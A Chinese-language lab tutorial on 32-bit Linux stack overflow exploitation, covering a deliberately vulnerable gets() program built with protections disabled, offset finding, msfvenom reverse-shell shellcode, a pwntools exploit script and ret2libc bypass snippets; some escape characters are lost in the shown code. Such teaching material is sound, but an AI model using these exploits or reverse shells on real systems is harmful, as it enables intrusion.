环境搭建安装Ubuntu 20.04/22.04 LTS,终端执行:
sudo apt install gcc-multilib gdb python3-pippip3 install pwntoolsgit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
配置32位兼容库:sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install libc6:i386
栈溢出基础
漏洞程序示例(vuln.c):
voidvuln() {char buf[32];gets(buf); // 无边界检查}intmain() { vuln(); }
编译:gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln关键参数说明:
-m32:生成32位程序-fno-stack-protector:禁用Canary-z execstack:关闭NX保护
调试与偏移计算
用gdb定位崩溃点:
gdb ./vulnrun <<< $(python3 -c "print('A'*40)")
观察EIP寄存器值(如0x41414141)确认覆盖位置计算偏移:
cyclic 40 # 生成唯一模式串cyclic -l 0x6161616c # 通过崩溃值反推偏移
本例中偏移为36字节(32字节buf + 4字节EBP)
Shellcode编写与定位
生成反向Shellcode(x86)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f py输出约95字节的机器码(需用NOP sled填充对齐)在栈中定位Shellcode:gdb中执行run <<< $(python3 -c 'print("A"*36 + "BBBB" + "x90"*200 + shellcode)')断点设置在ret指令,用x/100x $esp观察0x42424242下方NOP区域地址(如0xffffd300)
Exploit构造完整Python利用脚本(exp.py):
from pwn import *context(arch='i386', os='linux')ret_addr = 0xffffd300 # 替换为实际NOP地址payload = b'A'*36 # 填充缓冲区payload += p32(ret_addr) # 覆盖返回地址payload += b'x90'*200 # NOP滑板payload += b'x31xc0x50...' # 你的Shellcodeio = process('./vuln')io.sendline(payload)io.interactive()
基础防护绕过
开启ASLR时泄漏地址:
io = process('./vuln')io.recvuntil('data:')leak = io.recv(4)libc_base = u32(leak) - 0x18637 # 根据泄漏值计算基址
绕过NX的ret2libc攻击:
payload = b'A'*36payload += p32(libc_base + 0x3cd10) # system地址payload += b'BBBB' # 虚假返回地址payload += p32(libc_base + 0x17e0cf) # /bin/sh字符串地址
必备工具链
反汇编:
objdump -d ./vuln | less查找gadget:
ROPgadget --binary ./vuln动态调试:
gdb -q ./vuln→b *main→run→vmmap(查看内存映射)堆分析:
gef➤ heap chunks/pwndbg> vis_heap_chunks
扫码加入知识星球:网络安全攻防(HVV)
下载本篇和全套资料
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...